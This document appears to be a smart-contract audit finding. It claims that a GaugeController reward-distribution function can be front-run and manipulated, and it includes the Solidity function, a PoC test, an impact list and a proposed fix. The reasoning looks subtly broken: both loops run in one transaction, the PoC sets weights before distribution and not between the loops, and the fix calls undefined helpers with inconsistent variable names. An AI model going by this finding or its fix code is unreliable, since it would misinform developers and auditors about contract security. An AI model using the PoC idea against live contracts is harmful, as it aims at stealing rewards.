Summary
The GaugeController::_distributeToGauges
function is vulnerable to front-running and manipulation attacks due to its two-pass distribution mechanism and lack of slippage protection, allowing attackers to extract excess rewards.
Vulnerability Details
function _distributeToGauges(GaugeType gaugeType, uint256 amount) internal {
uint256 totalTypeWeight = 0;
uint256[] memory gaugeWeights = new uint256[](_gaugeList.length);
uint256 activeGaugeCount = 0;
for (uint256 i = 0; i < _gaugeList.length; i++) {
address gauge = _gaugeList[i];
if (gauges[gauge].isActive && gauges[gauge].gaugeType == gaugeType) {
gaugeWeights[i] = gauges[gauge].weight;
totalTypeWeight += gaugeWeights[i];
activeGaugeCount++;
}
}
if (totalTypeWeight == 0 || activeGaugeCount == 0) return;
for (uint256 i = 0; i < _gaugeList.length; i++) {
address gauge = _gaugeList[i];
if (gauges[gauge].isActive && gauges[gauge].gaugeType == gaugeType) {
uint256 gaugeShare = (amount * gaugeWeights[i]) / totalTypeWeight;
IGauge(gauge).notifyRewardAmount(gaugeShare);
}
}
}
The key vulnerabilities are:
Weight calculations and distributions occur in separate loops, allowing state changes between them
No minimum reward amount validation
No checks for gauge weight manipulation between loops
External calls to gauges can lead to reentrancy
PoC
it("should allow reward manipulation through weight changes", async function() {
await gaugeController.connect(admin).addGauge(gauge1.address, GaugeType.RAAC, 100);
await gaugeController.connect(admin).addGauge(gauge2.address, GaugeType.RAAC, 100);
await gaugeController.vote(attacker, gauge1.address, 100);
await gauge1.setWeight(1000);
await gaugeController.distributeRevenue(GaugeType.RAAC, ethers.parseEther("1000"));
await gauge1.setWeight(0);
const gauge1Rewards = await rewardToken.balanceOf(gauge1.address);
expect(gauge1Rewards).to.be.gt(ethers.parseEther("500"));
});
Impact
Malicious actors can manipulate reward distribution
Unfair reward allocation between gauges
Potential reward theft through front-running
System instability through weight manipulation
Tools Used
Recommendations
Implement an atomic reward distribution process
Add minimum and maximum weight change limits
Implement distribution checkpoints to prevent manipulation
Add slippage protection for reward calculations
function _distributeToGauges(GaugeType gaugeType, uint256 amount) internal {
bytes32 distributionHash = _createDistributionSnapshot();
for (uint256 i = 0; i < _gaugeList.length; i++) {
if (_validateGaugeDistribution(gaugeList[i], distributionHash)) {
_distributeReward(gaugeList[i], distributionHash);
}
}
}